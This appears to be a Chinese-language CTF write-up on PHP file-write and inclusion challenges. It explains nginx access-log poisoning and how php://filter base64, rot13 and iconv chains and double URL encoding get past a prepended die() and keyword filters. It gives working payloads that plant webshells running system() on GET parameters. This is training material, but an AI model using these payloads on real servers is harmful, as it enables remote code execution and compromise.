包含nginx日志
ua写一句话
日志路径/var/log/nginx/access.log
绕过死亡exit
php://filter
php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。
php://filter 目标使用以下的参数作为它路径的一部分。复合过滤链能够在一个路径上指定。
base64绕过
<?php
$filename='php://filter/convert.base64-decode/resource=phpinfo.php';
$content = 'PD9waHAgcGhwaW5mbygpOz8+';
file_put_contents($filename,$content);
可以发现,成功写入PD9waHAgcGhwaW5mbygpOz8+
解码后的内容<?php phpinfo();?>
如果拼接了一个<?php exit(1);
,这样写就会绕过这个exit,从而实现代码执行,但是如果前面拼接的内容变成了<?php die(1);
file_put_contents($filename,'<?php die(1);'.$content);
就会造成解码出来的内容变成了不可见字符
base解码时,是4个字符一组,而且会自动忽略不可识别的字符这样的话<?php die(1);
其实会被过滤为phpdie1
在$content
前面补一个字符就可以正常写入了
rot13绕过
<?php
$filename='php://filter/write=string.rot13/resource=phpinfo.php';
$content = '<?cuc cucvasb();?>';
file_put_contents($filename,'<?php die(1);'.$content);
Web87
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
对$file
的过滤可以通过对所有字符两次url编码绕过,php://filter/convert.base64-decode/resource=shell.php
%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%37%33%25%36%38%25%36%35%25%36%43%25%36%43%25%32%45%25%37%30%25%36%38%25%37%30
phpdie是6个字符,补全两个<?php system($_GET['cmd'])'?>
编码补全aaPD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=
提交即可
iconv 编码
这个过滤器需要 php 支持 iconv,而 iconv 是默认编译的。使用convert.iconv.*过滤器等同于用iconv()函数处理所有的流数据。 然而 我们可以留意到 iconv — 字符串按要求的字符编码来转换;;其用法:iconv ( string $in_charset , string $out_charset , string $str ) : string
将字符串 str 从 in_charset 转换编码到 out_charset。 就其功能而论,有点类似于base_convert的功效一样,只不过二者还是有作用的区别,只是都是涉及编码转换的问题而已;php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php
的效果等同于
<?php
iconv("UCS-2LE","UCS-2BE",$content);
Web117
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pystsme$(G_TE1[]2;)>?
<?php
$content ='<?php system($_GET[12]);?>';
echo iconv("UCS-2LE","UCS-2BE",$content);